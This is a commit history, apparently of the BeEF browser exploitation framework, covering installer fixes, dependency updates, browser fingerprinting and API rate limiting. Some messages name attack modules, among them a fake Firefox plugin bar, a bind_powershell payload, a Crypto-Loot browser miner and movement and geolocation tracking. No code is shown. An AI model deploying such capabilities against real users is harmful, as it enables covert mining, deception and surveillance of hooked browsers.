81383da72c Add support for Firefox 59-99 2019-02-10 08:24:35 +00:00
bcoles
5611fed0d2 Merge pull request #1669 from bcoles/admin_ui
Move UI formatting to Admin UI extension
2019-02-10 19:08:05 +11:00
Brendan Coles
5b53425c20 Move UI formatting to Admin UI extension 2019-02-10 08:13:39 +00:00
bcoles
602778d279 Merge pull request #1667 from bcoles/system_info
Add getCpuCores getCpuDetails getMemory getBatteryDetails to beef.hardware API
2019-02-10 00:26:35 +11:00
Brendan Coles
10d023f964 br 2019-02-09 13:35:19 +00:00
Brendan Coles
baf852a26b Add getCpuCores getCpuDetails getMemory getBatteryDetails 2019-02-09 13:16:02 +00:00
Brendan Coles
bd20f9fc01 Add check for NodeJS for Uglifier 2019-02-09 13:10:56 +00:00
Brendan Coles
47f79ecaa2 Rename beef.hardware.cpuType to beef.hardware.getCpuArch 2019-02-09 11:37:11 +00:00
Brendan Coles
3108653c69 Move getScreenSize from beef.browser to beef.hardware 2019-02-09 11:23:18 +00:00
Brendan Coles
5bce57854b Update vis.js library to 4.21.0 2019-02-09 10:11:55 +00:00
Brendan Coles
d20fb12e0b Rename get_system_info to get_system_info_java 2019-02-09 09:55:58 +00:00
bcoles
cf4cc31d68 Merge pull request #1663 from unkn0w/patch-1
Added ruby-dev package for Debian and Kali
2019-02-09 19:14:13 +11:00
Jakub 'unknow' Mrugalski
4eed8da516 Added ruby-dev package for Debian and Kali
Without package "ruby-dev", I got this error on my Kali Linux:

Building native extensions. This could take a while...
ERROR:  Error installing json:
	ERROR: Failed to build gem native extension.

    current directory: /var/lib/gems/2.5.0/gems/json-1.8.6/ext/json/ext/generator
/usr/bin/ruby2.5 -r ./siteconf20190117-11443-w5znm6.rb extconf.rb
mkmf.rb can't find header files for ruby at /usr/lib/ruby/include/ruby.h
2019-01-17 14:37:20 +01:00
Brendan Coles
64dd3c653c Merge pull request #1659 from kinduff/patch-1
Detects Manjaro as an Arch distro
2019-01-07 06:22:24 +11:00
Alejandro AR
03d92f25e3 Detects Manjaro as an Arch distro
Manjaro is a distro based on Arch, but it's os-release file is not marked as Arch.
This change provides support to this distribution for easy install.
2019-01-06 13:12:07 -06:00
Ben Passmore
9f1e8f5e8d Updated copyright 2019-01-01 11:57:28 +10:00
Ben Passmore
d09eb4b15b sqlite-dev not required in travis 2018-12-09 10:42:15 +10:00
Ben Passmore
ecba5870f6 Altered travis conf to try get automated builds working 2018-12-09 10:39:32 +10:00
Brendan Coles
1d2b5b8c12 Merge pull request #1650 from onurerhan/patch-1
Fix for typo in module name
2018-12-07 09:30:49 +11:00
Onur Erhan
685632addf Fix typo in module name 2018-12-06 15:41:56 +00:00
Brendan Coles
577f6b0db4 Merge pull request #1639 from Ven0mSnake/master
RickRoll module fix
2018-11-25 08:08:51 +11:00
Ven0mSnake
07a911b3c3 RickRoll module fix 2018-11-02 16:40:29 +01:00
Brendan Coles
c1ce053795 Merge pull request #1618 from H4xl0r/master
Updated Firefox Fake Plugin Bar
2018-10-16 17:44:01 +11:00
Brendan Coles
147da11325 Check empty public and public_port 2018-10-01 13:37:15 +00:00
Brendan Coles
2d3b2fc9a5 Update ISSUE_TEMPLATE.md 2018-10-01 23:05:25 +10:00
Brendan Coles
4603612a7b Validate beef.http.public and beef.http.public_port 2018-10-01 12:46:22 +00:00
Brendan Coles
7e010e2e1f Disable default credentials 2018-10-01 12:39:03 +00:00
Brendan Coles
4ff68d42e3 Bump rubyzip from '>= 1.2.1' to '>= 1.2.2' 2018-09-28 07:28:42 +10:00
Ben Passmore
888e0f838b Fixed issues when running tests on fresh clone
- Added the `rdoc` gem to the test group.
- Created `tmp` directory if one doesn't exist to store testing beef
configuration.
2018-09-22 14:48:45 +10:00
Brendan Coles
a244a02263 Merge pull request #1609 from dafyk/patch-1
Alpine linux support
2018-09-21 17:44:28 +10:00
Brendan Coles
6bba63abf8 Pending kickstart 2018-09-17 17:26:42 +10:00
H4xl0r
ede600a322 Updated Firefox Fake Plugin Bar
Added real Firefox Plugin Picture.
Fixed some margin errors. (Install Plugin Button location / X Button location) 
Looks way better now :-) ??
2018-09-14 13:39:42 +02:00
Da-FyK
bdc30fd750 Alpine linux support
Added detection of alpine linux and required packages
2018-08-13 12:17:16 +02:00
Brendan Coles
d237c95465 Merge pull request #1597 from slackr/master
Raw JavaScript ARE rule
2018-07-20 04:27:10 +10:00
slackr
da8d78f40a Raw JavaScript ARE rule 2018-07-19 14:21:08 -04:00
Brendan Coles
aa4a4de118 Merge pull request #1595 from ignisf/fix-readme-typo
Fix faulty Markdown syntax in the README
2018-07-19 21:18:03 +10:00
Petko Bordjukov
d284d07e20 Fix faulty Markdown syntax in the README 2018-07-19 13:57:32 +03:00
Brendan Coles
49227ae0a9 Add gem 'xmlrpc' to Gemfile 2018-07-19 20:42:44 +10:00
Brendan Coles
eb3dcda076 Bump Ruby version to 2.5.1 2018-07-19 19:57:00 +10:00
Brendan Coles
f2d2fd6990 Merge pull request #1591 from ignisf/drop-therubyracer-dep
Remove the dependency on therubyracer
2018-07-19 19:21:51 +10:00
Petko Bordjukov
487c71bedd Remove the dependency on therubyracer
therubyracer has long been unmaintained which is causing both security and build
issues to go unfixed. As beef depends on it only to provide a JS runtime for
execjs, we can drop it and require users to install Node.js. execjs
automatically finds the node binary and uses it as a JS runtime.

This fixes #1478, #1045, #1046, #1249, #1374, #1377, #1395, #1396, #1428, #1429
This also fixes #1433, #1502, #1504, #1540, #1545, #1547
2018-07-19 12:12:05 +03:00
Brendan Coles
c156730afc Steak 2018-07-19 19:10:37 +10:00
Brendan Coles
0a415b2252 Update rake and sinatra gems to 2.0+ 2018-07-19 07:41:47 +00:00
Brendan Coles
5b771274fb Revent client jQuery from 3.3.1 to 1.12.4 2018-07-19 07:07:49 +00:00
Brendan Coles
07c5473edf gem 'sinatra', '~> 1.2' 2018-07-19 02:33:21 +10:00
Brendan Coles
ba5f793b93 Add Get Geolocation (Third-Party) command module 2018-07-15 12:48:44 +00:00
Brendan Coles
445cbb02b2 Merge pull request #1586 from Dimansel/README.md-patch-1
Fix link to the Ruby website
2018-07-07 14:56:34 +10:00
Dmitry
2410a3bd8a Fix link to the Ruby website 2018-07-06 14:48:04 -04:00
Brendan Coles
1dea97511b Code cleanup 2018-06-11 11:36:35 +00:00
Brendan Coles
21af0ae705 Warn on Event Logger load if WebSockets are enabled 2018-06-11 11:36:09 +00:00
Brendan Coles
bebe6b81b0 Add support for Firefox 59-99 and Chrome 59-99 2018-06-11 05:39:16 +00:00
Brendan Coles
9ba4b10b40 Rollback hook jQuery version to 1.12.4 to support IE6-8 2018-06-11 05:05:29 +00:00
Brendan Coles
8e90587a77 Allow absolute paths for SSL cert and key 2018-06-04 11:28:42 +00:00
Brendan Coles
66cb048ed7 Fix startup banners for public host/port 2018-06-04 07:57:21 +00:00
Brendan Coles
7da834bebe Merge pull request #1549 from AmirHosseinKarimi/master
Fix Webcam(Adobe Flash) incorrect base64 data image
2018-05-12 00:42:36 +10:00
Brendan Coles
07c0d84545 Merge pull request #1561 from beefproject/warn-on-default-cert
Minor refactor and warn if default SSL cert in use
2018-05-12 00:18:54 +10:00
Brendan Coles
fb536ba06d Minor refactor and warn if default SSL cert in use 2018-05-12 00:18:30 +10:00
Brendan Coles
7998f227c0 Merge pull request #1560 from beefproject/core-loader
Update core/loader.rb
2018-05-12 00:08:11 +10:00
Brendan Coles
d26c7012d9 Update loader.rb 2018-05-12 00:07:15 +10:00
Brendan Coles
6dc6dd997a Merge pull request #1556 from keeganjk/patch-1
Added ruby and ruby-rdoc to Arch installer
2018-05-11 17:07:02 +10:00
keeganjk
98530e7e06 Added ruby and ruby-rdoc to Arch installer
Added ruby and ruby-rdoc to Arch installer in case rdoc isn't installed
2018-05-05 13:37:18 -04:00
Amir Hossein Karimi
eb15ae1d03 Fix Webcam(Flash) incorrect base64 data image 2018-05-02 02:16:55 +04:30
Brendan Coles
903f3bf998 Hard code gem 'therubyracer', '0.12.3' for Linux systems
Parrot and Kali now support therubyracer version 0.12.3
2018-05-01 21:50:37 +10:00
Brendan Coles
50f6876ec8 Merge pull request #1546 from keeganjk/patch-1
Added Arch installer
2018-04-28 11:14:17 +10:00
keeganjk
44cb8e906a Added Arch installer
Added support for Arch Linux in ./install for an automated installation. Installs dependencies (works on my machine, not sure if there are some I missed...)

Assumes that `ruby` is already installed and in the $PATH.
2018-04-27 21:08:11 -04:00
Brendan Coles
26f176c308 Merge pull request #1539 from clod81/fix_jsonp
Fix JSONP persistence module
2018-04-10 11:10:29 +10:00
Claudio Contin
2c788da9e4 fix module 2018-04-10 11:53:24 +12:00
Brendan Coles
f3930e9246 Allow update-beef script to update dependencies 2018-04-02 00:25:43 +10:00
Brendan Coles
84208e817d Merge pull request #1527 from 0xmachos/master
Add install_mac logic
2018-03-25 22:42:12 +11:00
0xmachos
c240d2aae0 install_mac: update brew if check to if not 2018-03-25 12:02:15 +01:00
0xmachos
0d26f9f0bc Update command_exists to work on macOS 2018-03-25 11:31:24 +01:00
0xmachos
ef1d3242f8 Add install_mac logic
Checks if homebrew (brew) is installed then uses it to install the dependencies.

Exits if homebrew is not installed and if homebrew fails to install a package.
2018-03-25 11:31:08 +01:00
Brendan Coles
e0fea2adbf Add FreeBSD to install script 2018-03-18 00:19:25 +00:00
Brendan Coles
10475860ee Merge pull request #1525 from buzzdeee/master
Add support to install script to install BeEF on OpenBSD.
2018-03-18 10:14:18 +11:00
Sebastian Reitenbach
a73a60d0c1 Add support to install script to install BeEF on OpenBSD.
The tricky part is that on OpenBSD, there might be multiple
Ruby versions available in parallel. They are, and the binaries
using each of thse version, suffixed with the version number.
Therefore add a global variable RUBYSUFFIX default to empty,
and when detecting OpenBSD add this suffix to all Ruby commands
from the script.

Also add a simple install_openbsd function just installing
all the system packages.

run the script with "bash install"
and later on run BeEF with "ruby24 beef"
2018-03-17 23:22:22 +01:00
Brendan Coles
22dc2f9296 Use gem 'rack-protection', '~> 2.0.1' 2018-03-12 05:59:49 +00:00
Brendan Coles
eed53cd0eb Downgrade therubyracer for Kali and Parrot OS 2018-03-11 07:31:15 +00:00
Brendan Coles
30b0ec5f6e Water is wet 2018-03-10 06:24:00 +00:00
Brendan Coles
d5b284a8da Remove iconv-devel and subversion from installer 2018-03-10 05:29:33 +00:00
Brendan Coles
acc589fdb7 Merge pull request #1518 from 0xmachos/master
Refactor install for #1477
2018-03-10 01:06:16 +11:00
0xmachos
633ccdd7ff Merge branch 'master' into master 2018-03-09 14:04:43 +00:00
0xmachos
13d24bfbed Add line between functions 2018-03-09 13:43:49 +00:00
0xmachos
bd0ac9eafd main: add function calls 2018-03-09 13:43:13 +00:00
0xmachos
38c17bacfd Add colour to info, warn and fatal functions 2018-03-09 13:42:30 +00:00
0xmachos
7e00ac2189 Move preamble ascii art to main 2018-03-09 13:41:42 +00:00
0xmachos
86e18aabc1 command_exists: wrap variable in curly braces 2018-03-09 13:39:43 +00:00
0xmachos
0c26203ff7 Convert get user permission steps to function 2018-03-09 13:39:12 +00:00
0xmachos
0d60f3ea60 install_linux: wrap variables in curly braces 2018-03-09 13:38:16 +00:00
0xmachos
5b2abf4441 Convert OS detection steps to function 2018-03-09 13:30:34 +00:00
0xmachos
8ea4e7773a Convert Ruby version detection steps to function 2018-03-09 13:29:24 +00:00
0xmachos
724355e1c3 Remove unused code 2018-03-09 13:28:22 +00:00
0xmachos
2d9ba38048 Convert bundler detection steps to function 2018-03-09 13:23:48 +00:00
0xmachos
1e3b254fc9 Convert bundle install steps to function 2018-03-09 13:23:01 +00:00
Brendan Coles
cf6a72013f Fix command_exists method in install script 2018-03-09 08:32:22 +00:00
Brendan Coles
9c185aadce Remove bundle audit tests 2018-03-09 08:02:22 +00:00
Brendan Coles
6e9c2850c7 Fix dependencies 2018-03-09 08:01:26 +00:00
Brendan Coles
20e58d74f8 Upgrade jquery-1.12.4 to jquery-3.3.1 for admin UI 2018-03-09 07:50:34 +00:00
Brendan Coles
cb1360d061 rm Gemfile.lock 2018-03-09 06:57:11 +00:00
Brendan Coles
8b55f41286 Merge pull request #1515 from amadeus777za/master
Minor upgrades and fixes
2018-03-09 17:43:36 +11:00
Brendan Coles
e44ead9550 Merge branch 'master' into master 2018-03-09 17:42:01 +11:00
Francois van der Hoven
0045fe66c0 Update rack-protection and sinatra 2018-03-09 09:19:45 +10:00
Brendan Coles
b279382768 Merge pull request #1482 from wanton1950/1333_rate_merged
Fix 1333 rate merged
2018-03-08 00:29:16 +11:00
Brendan Coles
4e4a0585f4 Merge branch 'master' into 1333_rate_merged 2018-03-08 00:28:52 +11:00
Brendan Coles
f6089c70e8 Update minimum required Ruby version to 2.3.x 2018-03-07 12:51:26 +00:00
Brendan Coles
7718e35109 Update installation instructions 2018-03-07 12:51:11 +00:00
Brendan Coles
2d3010dc0b Update install script 2018-03-07 08:54:39 +00:00
Francois van der Hoven
441620462d Restore original test constants 2018-02-28 11:44:16 +10:00
Francois van der Hoven
a594296fae Restore original username pw 2018-02-28 11:28:11 +10:00
Francois van der Hoven
e9fa3cd75a Delete redundant js files. 2018-02-23 14:11:24 +10:00
Francois van der Hoven
c129fca93a Update selenium reference 2018-02-23 14:07:46 +10:00
Francois van der Hoven
074edec86a Add note on selenium requirement 2018-02-23 13:50:20 +10:00
Francois van der Hoven
9f7136f0ce Add latest versions of js libraries 2018-02-23 10:15:27 +10:00
Francois van der Hoven
bbf59cd8c1 Match first of multiple links 2018-02-22 16:56:58 +10:00
Francois van der Hoven
52cf5ab541 Correct namespace errors in metasploit 2018-02-21 10:04:45 +10:00
Francois van der Hoven
cdc5022a19 Unit and Integration tests pass 2018-02-20 09:04:00 +10:00
Brendan Coles
dfc08595fe mv README.mkd README.md 2018-02-17 09:17:08 +00:00
Brendan Coles
956e216206 Add rake to ext_dns group in Gemfile 2018-02-15 14:16:50 +00:00
Brendan Coles
d1f114d103 Add X-Frame-Options to admin UI 2018-02-10 06:24:24 +00:00
Brendan Coles
67e3605e16 Encourage reading 2018-02-10 05:48:40 +00:00
Brendan Coles
836c0c97e5 Merge pull request #1493 from K07H/patch-2
Add support for Firefox 58
2018-01-28 16:14:23 +11:00
K07H
9030a98820 Added test for Firefox last version
Added test for Firefox 58 ("isFF58").
2018-01-27 11:34:19 +01:00
Brendan Coles
521e5c3e8e Add REST example to remove all offline browsers 2018-01-20 09:10:15 +00:00
Brendan Coles
cef427f856 Merge pull request #1492 from mcjon3z/master
add https support to bind_powershell
2018-01-18 17:32:37 +11:00
Matthew C Jones
870afd617e add https support to bind_powershell 2018-01-17 18:37:16 -05:00
Bucky Wilson
b9eb6b7780 Pruned unnecessary lines from config
the now removed lines solved a temporary issue, since resolved
2018-01-10 09:54:17 +10:00
Bucky Wilson
5f278ad843 Merge branch '1333_rate_merged' of github.com-wanton1950:wanton1950/beef into 1333_rate_merged 2018-01-10 09:51:11 +10:00
Bucky Wilson
e0ec2aafda Commit review updates: added test to integration, removed debug
Added test TC_1333 to integration suite. adjusted requirements.

Removed debug requirement from main file.

    modified:   beef
    modified:   test/api/1333_auth_rate.rb
    modified:   test/integration/ts_integration.rb
2018-01-10 09:49:33 +10:00
Bucky Wilson
ae8c160b8d Moving pry and pry-byebug into tests group. 2018-01-10 09:49:33 +10:00
Bucky Wilson
7d4ef0f7e0 Renamed tmp config file - corrected tear down
FIXED Too many rake name to tear things down correctly.

	modified:   Rakefile
2018-01-10 09:49:33 +10:00
Bucky Wilson
e8f203bd94 Added assertions for testing, corrected beef tear-down
Turned the exercise script into a limited test.
Added is password function to rest client
Corrected incorrect tear down in the Rakefile

	modified:   Rakefile
	modified:   test/api/1333_auth_rate.rb
	modified:   test/api/lib/beef_rest_client.rb
2018-01-10 09:49:33 +10:00
Bucky Wilson
c13a011cd8 Pre-creation of actual test
1333_auth_rate - multiple cyles of api auth requests at different
speeds.
Fast auth attempts should block
Solwer attempts, when valid should succeed

	modified:   Rakefile
	renamed:    test/api/beef_rest.rb -> test/api/1333_auth_rate.rb
2018-01-10 09:49:33 +10:00
Bucky Wilson
8c8dd6c9c3 Added auth access time checking
Time set on failure,
Next request fails if inside configured time: beef.restrictions.api_attempt_delay

	modified:   core/main/rest/handlers/admin.rb
2018-01-10 09:49:33 +10:00
Bucky Wilson
f9f6dbfab9 /update timeout? definition.
Only one exit from function.

	modified:   core/main/rest/api.rb
2018-01-10 09:49:33 +10:00
Bucky Wilson
9dcf516b88 Test,/exercise script to evaluate rate limiting
Debug details in the script
2018-01-10 09:49:33 +10:00
Bucky Wilson
894c369ef8 Added speed checking of api auth calls.
Added beef_rest_client based on the beef rest api found in tools/lib
Added mass auth attempts

Adjusted test_constants to use environment variables -- to use with
rake.

Eventually should be a test
2018-01-10 09:49:33 +10:00
Bucky Wilson
30e75c7aad Added rest_test entry to the rake file. Updated beef start/stop
Using 'custom' config rake starting.
2018-01-10 09:49:33 +10:00
Bucky Wilson
792340f628 Undo 'fix' rate limiting the routing.
As per comments - <parphrased> rate limiting at this point, rate limites
everything, and can raise suspiscions.
2018-01-10 09:49:33 +10:00
Bucky Wilson
1879f3155c Gemfile - whitespace, added dev group: pry 2018-01-10 09:44:45 +10:00
Bucky Wilson
21cd5b6778 And then removing these lines - still no error
Error maynot be solved by the introduction of db_pool/db_timeout
Restarting - may resolve issues.
2018-01-10 09:40:00 +10:00
Bucky Wilson
24fd0e912e Fixed: 'DataObjects::ConnectionError - database is locked:' error
Getting error using sqlite database.
Added: db_pool, and db_timeout to correct.
2018-01-10 09:37:40 +10:00
Bucky Wilson
4026e0f06d FIXED #1333 Rate limit calls.
Clean-up duplicate functionality.
EOL whitespace removed

Changes to be committed:
	modified:   extensions/admin_ui/controllers/authentication/authentication.rb
2018-01-10 09:35:27 +10:00
Bucky Wilson
7ac24ef754 1333: Rate Limit API - 1 in user defined value
Allow api connection every api_attempt_delay milliseconds.
Currently 50 mSec

Uses the same process as ui/admin rate limiting.

Changes to be committed:
	modified:   config.yaml
	modified:   core/main/rest/api.rb
	modified:   core/main/router/router.rb
2018-01-10 09:35:27 +10:00
Bucky Wilson
f5ce6170f7 Gemfile - whitespace, added dev group: pry 2018-01-10 09:35:27 +10:00
Bucky Wilson
e988b602df And then removing these lines - still no error
Error maynot be solved by the introduction of db_pool/db_timeout
Restarting - may resolve issues.
2018-01-10 09:31:52 +10:00
Bucky Wilson
b9d58690b6 Fixed: 'DataObjects::ConnectionError - database is locked:' error
Getting error using sqlite database.
Added: db_pool, and db_timeout to correct.
2018-01-10 09:31:52 +10:00
Brendan Coles
e0c46baea1 Merge pull request #1487 from wanton1950/1343_redundant_null_browser_type
FIX 1343 browser_type redundant null values
2018-01-09 16:32:04 +11:00
Brendan Coles
c83d363932 Merge pull request #1483 from wanton1950/1398_detect_epiphany
FIX #1398 detect epiphany
2018-01-09 16:28:25 +11:00
Bucky Wilson
ec9591a207 FIX #1343 account for redunctant null values produced iOS checks
The Old line:
(!window.webkitPerformance &&    // return true
            window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
                             returns null ----^
instead of the expected false, and it stops

Removed the null check added here in 34967f61
to catch other errors.

    modified:   core/main/client/browser.js
2018-01-09 14:42:38 +10:00
Bucky Wilson
1cfaf2da90 Added newer chrome iOS version - 63
Making visible the current iOS Chrome app [2018-01-07]
2018-01-09 14:42:25 +10:00
Bucky Wilson
dd93fc2922 Added return values to strigifing type()
Return undefined instrad of assuming would.
See 'The replacer parameter' on
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify

    modified:   core/main/client/browser.js
2018-01-09 14:42:09 +10:00
Bucky Wilson
c09e6405e2 Make Webkit fingerprinting more explicit.
Copied common code from /isS\d\>/ functions into isWebKitBased

    modified:   core/main/client/browser.js
2018-01-09 09:16:30 +10:00
Bucky Wilson
f92aed46c2 Restore webkit checking. Additional comments.
Added `isWebKitBased` function.
Due to who knows what version is being used -- this primarily checks for Safari.
Eliminating code duplication and bugs.

Corrected getBrowserVersion comment.

    modified:   core/main/client/browser.js
2018-01-08 09:44:59 +10:00
Bucky Wilson
3d41fe1045 Commit review updates: added test to integration, removed debug
Added test TC_1333 to integration suite. adjusted requirements.

Removed debug requirement from main file.

    modified:   beef
    modified:   test/api/1333_auth_rate.rb
    modified:   test/integration/ts_integration.rb
2018-01-07 16:52:59 +10:00
Bucky Wilson
a2c097a47f Code review updates, speeling, and removed reliance on isS
modified:   core/main/client/browser.js
2018-01-07 15:22:21 +10:00
Bucky Wilson
190b425a30 Update epiphany browser icon, and let it be seen
New epiphany icon from : https://wiki.gnome.org/Apps/Web
Resized to 10% for space.

Added discovery details, to constants and models.

    modified:   core/main/models/browserdetails.rb
    modified:   extensions/admin_ui/constants/agents.rb
    modified:   extensions/admin_ui/media/images/icons/epiphany.png
2018-01-06 13:12:46 +10:00
Bucky Wilson
628ddb8dc2 Epiphany version returned.
Basing the Epiphany version of UserAgant name - for want of a better
way of determining this at this stage.

    modified:   core/main/client/browser.js
2018-01-06 12:37:52 +10:00
Bucky Wilson
86c3212e2e Whitespace changes - indentation consistency
Clearing the noise from the commit diff -
editor imposed whitespace style changes.

    modified:   core/main/client/browser.js
2018-01-06 12:36:03 +10:00
Bucky Wilson
4595f0d2ed Minor corrections to comments and return value for browser type
Make the hooked browser name and browser types consistent.

    modified:   core/main/client/browser.js
2018-01-06 12:31:54 +10:00
Bucky Wilson
5a35b1cde2 Recognising Epiphany as an indendant browser
Added 'EP' as a browser name, to be recognised on response.
2018-01-06 10:22:03 +10:00
Bucky Wilson
bc709db733 Breif checking for Epiphany browser
Only recognises the browser -- not yet looking for a version.
2018-01-04 19:00:07 +10:00
Bucky Wilson
83d274719d Merge branch '1333_rating_limit' into 1333_rate_merged 2018-01-04 15:42:55 +10:00
Wade Alcorn
fca5279f17 Updated Copyright dates 2018-01-04 09:12:47 +10:00
Bucky Wilson
f98dfd4515 Moving pry and pry-byebug into tests group. 2017-12-13 17:14:58 +10:00
Bucky Wilson
dbb1b7daf4 Renamed tmp config file - corrected tear down
FIXED Too many rake name to tear things down correctly.

	modified:   Rakefile
2017-12-12 14:54:17 +10:00
Bucky Wilson
f52b13a6ee Added assertions for testing, corrected beef tear-down
Turned the exercise script into a limited test.
Added is password function to rest client
Corrected incorrect tear down in the Rakefile

	modified:   Rakefile
	modified:   test/api/1333_auth_rate.rb
	modified:   test/api/lib/beef_rest_client.rb
2017-12-12 14:35:22 +10:00
Bucky Wilson
5559e34baa Pre-creation of actual test
1333_auth_rate - multiple cyles of api auth requests at different
speeds.
Fast auth attempts should block
Solwer attempts, when valid should succeed

	modified:   Rakefile
	renamed:    test/api/beef_rest.rb -> test/api/1333_auth_rate.rb
2017-12-12 12:23:31 +10:00
Bucky Wilson
3b470439fa Added auth access time checking
Time set on failure,
Next request fails if inside configured time: beef.restrictions.api_attempt_delay

	modified:   core/main/rest/handlers/admin.rb
2017-12-11 17:48:40 +10:00
Bucky Wilson
f42346fc1a /update timeout? definition.
Only one exit from function.

	modified:   core/main/rest/api.rb
2017-12-11 17:38:45 +10:00
Bucky Wilson
a38c0adaf7 Merge branch '1333_rating_limit' of github.com-wanton1950:wanton1950/beef into 1333_rating_limit 2017-12-11 12:11:08 +10:00
Bucky Wilson
8dcac3d50e Test,/exercise script to evaluate rate limiting
Debug details in the script
2017-12-11 12:01:29 +10:00
Bucky Wilson
cc3bfc071e Added speed checking of api auth calls.
Added beef_rest_client based on the beef rest api found in tools/lib
Added mass auth attempts

Adjusted test_constants to use environment variables -- to use with
rake.

Eventually should be a test
2017-12-11 12:01:29 +10:00
Bucky Wilson
8d226378b7 Added rest_test entry to the rake file. Updated beef start/stop
Using 'custom' config rake starting.
2017-12-11 12:00:42 +10:00
Bucky Wilson
580303a150 Undo 'fix' rate limiting the routing.
As per comments - <parphrased> rate limiting at this point, rate limites
everything, and can raise suspiscions.
2017-12-11 12:00:42 +10:00
Bucky Wilson
e26ebea0f3 Debugging tools added: pry-byebug 2017-12-11 12:00:42 +10:00
Bucky Wilson
73bbda7336 gem lock file updates -- not sure this should be committed 2017-12-11 12:00:42 +10:00
Bucky Wilson
01dd3eb714 FIXED #1333 Rate limit calls.
Clean-up duplicate functionality.
EOL whitespace removed

Changes to be committed:
	modified:   extensions/admin_ui/controllers/authentication/authentication.rb
2017-12-11 11:50:18 +10:00
Bucky Wilson
a538a9ebd5 1333: Rate Limit API - 1 in user defined value
Allow api connection every api_attempt_delay milliseconds.
Currently 50 mSec

Uses the same process as ui/admin rate limiting.

Changes to be committed:
	modified:   config.yaml
	modified:   core/main/rest/api.rb
	modified:   core/main/router/router.rb
2017-12-11 11:50:18 +10:00
Bucky Wilson
2da975aee0 Gemfile - whitespace, added dev group: pry 2017-12-11 11:50:18 +10:00
Bucky Wilson
5a80f4a3a5 And then removing these lines - still no error
Error maynot be solved by the introduction of db_pool/db_timeout
Restarting - may resolve issues.
2017-12-11 11:46:02 +10:00
Bucky Wilson
717c5f52eb Fixed: 'DataObjects::ConnectionError - database is locked:' error
Getting error using sqlite database.
Added: db_pool, and db_timeout to correct.
2017-12-11 11:46:02 +10:00
Brendan Coles
24298b4d9e Clean beef executable 2017-12-09 06:24:00 +00:00
Brendan Coles
a8763b48c5 Downgrade selenium-webdriver gem to '~> 2.53.4' for tests 2017-12-09 00:04:52 +00:00
Brendan Coles
3ec6241c46 Fix login tests 2017-12-09 00:02:36 +00:00
Brendan Coles
825b433084 BeEF require Ruby 2.2 or newer 2017-12-08 23:05:43 +00:00
Brendan Coles
903d364450 Remove experimental extensions from config.yaml 2017-12-08 18:14:32 +00:00
Brendan Coles
946f593b5e Fix $LOAD_PATH 2017-12-08 07:03:27 +00:00
Brendan Coles
447f995d10 Merge pull request #1476 from stevetauber/master
Fixing syntax error in identify_lan_subnets
2017-12-06 07:25:09 +11:00
Steve Tauber
2cc843f640 Fixing syntax error in identify_lan_subnets 2017-12-03 20:39:44 +01:00
Bucky Wilson
dab2b26102 Merge branch '1333_rating_limit' of github.com-wanton1950:wanton1950/beef into 1333_rating_limit 2017-11-28 10:29:01 +10:00
Bucky Wilson
a94c6f36df FIXED #1333 Rate limit calls.
Clean-up duplicate functionality.
EOL whitespace removed

Changes to be committed:
	modified:   extensions/admin_ui/controllers/authentication/authentication.rb
2017-11-28 10:19:44 +10:00
Bucky Wilson
0eb6010898 1333: Rate Limit API - 1 in user defined value
Allow api connection every api_attempt_delay milliseconds.
Currently 50 mSec

Uses the same process as ui/admin rate limiting.

Changes to be committed:
	modified:   config.yaml
	modified:   core/main/rest/api.rb
	modified:   core/main/router/router.rb
2017-11-28 10:19:44 +10:00
Bucky Wilson
e86e05d20f Gemfile - whitespace, added dev group: pry 2017-11-28 10:19:44 +10:00
Bucky Wilson
17eb6cbd9c And then removing these lines - still no error
Error maynot be solved by the introduction of db_pool/db_timeout
Restarting - may resolve issues.
2017-11-28 10:19:44 +10:00
Bucky Wilson
557a17d2e3 Fixed: 'DataObjects::ConnectionError - database is locked:' error
Getting error using sqlite database.
Added: db_pool, and db_timeout to correct.
2017-11-28 10:19:44 +10:00
Brendan Coles
fc480cd117 Add check for web sockets and web workers 2017-11-26 10:25:18 +00:00
Bucky Wilson
183efca59d Merge branch '1333_rating_limit' of github.com-wanton1950:wanton1950/beef into 1333_rating_limit 2017-11-24 17:59:38 +10:00
Bucky Wilson
f92446abd0 FIXED #1333 Rate limit calls.
Clean-up duplicate functionality.
EOL whitespace removed

Changes to be committed:
	modified:   extensions/admin_ui/controllers/authentication/authentication.rb
2017-11-24 17:56:28 +10:00
Bucky Wilson
422b5d6fc5 1333: Rate Limit API - 1 in user defined value
Allow api connection every api_attempt_delay milliseconds.
Currently 50 mSec

Uses the same process as ui/admin rate limiting.

Changes to be committed:
	modified:   config.yaml
	modified:   core/main/rest/api.rb
	modified:   core/main/router/router.rb
2017-11-24 17:56:28 +10:00
Bucky Wilson
0a1da26c32 Gemfile - whitespace, added dev group: pry 2017-11-24 17:56:28 +10:00
Bucky Wilson
3fdf323f7c And then removing these lines - still no error
Error maynot be solved by the introduction of db_pool/db_timeout
Restarting - may resolve issues.
2017-11-24 17:56:28 +10:00
Bucky Wilson
bfba3d5f28 Fixed: 'DataObjects::ConnectionError - database is locked:' error
Getting error using sqlite database.
Added: db_pool, and db_timeout to correct.
2017-11-24 17:56:28 +10:00
Bucky Wilson
3e1266fe42 FIXED #1333 Rate limit calls.
Clean-up duplicate functionality.
EOL whitespace removed

Changes to be committed:
	modified:   extensions/admin_ui/controllers/authentication/authentication.rb
2017-11-24 17:05:22 +10:00
Bucky Wilson
2f749b78c9 1333: Rate Limit API - 1 in user defined value
Allow api connection every api_attempt_delay milliseconds.
Currently 50 mSec

Uses the same process as ui/admin rate limiting.

Changes to be committed:
	modified:   config.yaml
	modified:   core/main/rest/api.rb
	modified:   core/main/router/router.rb
2017-11-24 17:00:58 +10:00
Bucky Wilson
1f7565e417 Gemfile - whitespace, added dev group: pry 2017-11-24 09:26:29 +10:00
Brendan Coles
e7c5479b1c Merge pull request #1470 from qutorial/master
Crypto-Loot miner intergration
2017-11-22 17:42:36 +11:00
Bucky Wilson
1fe6ee1dcb And then removing these lines - still no error
Error maynot be solved by the introduction of db_pool/db_timeout
Restarting - may resolve issues.
2017-11-21 13:52:18 +10:00
Bucky Wilson
1ba0ddfefb Fixed: 'DataObjects::ConnectionError - database is locked:' error
Getting error using sqlite database.
Added: db_pool, and db_timeout to correct.
2017-11-21 13:47:51 +10:00
Brendan Coles
b370166aa0 Add Track Physical Movement module 2017-11-19 01:11:58 +00:00
Brendan Coles
7204c982ce Add support for Firefox 57 2017-11-18 04:26:50 +00:00
Zaur
cfa652d532 Crypto-Loot miner intergration
This integration provides in the misc modules a
crypto-loot miner. It is similar  to coinhive miner
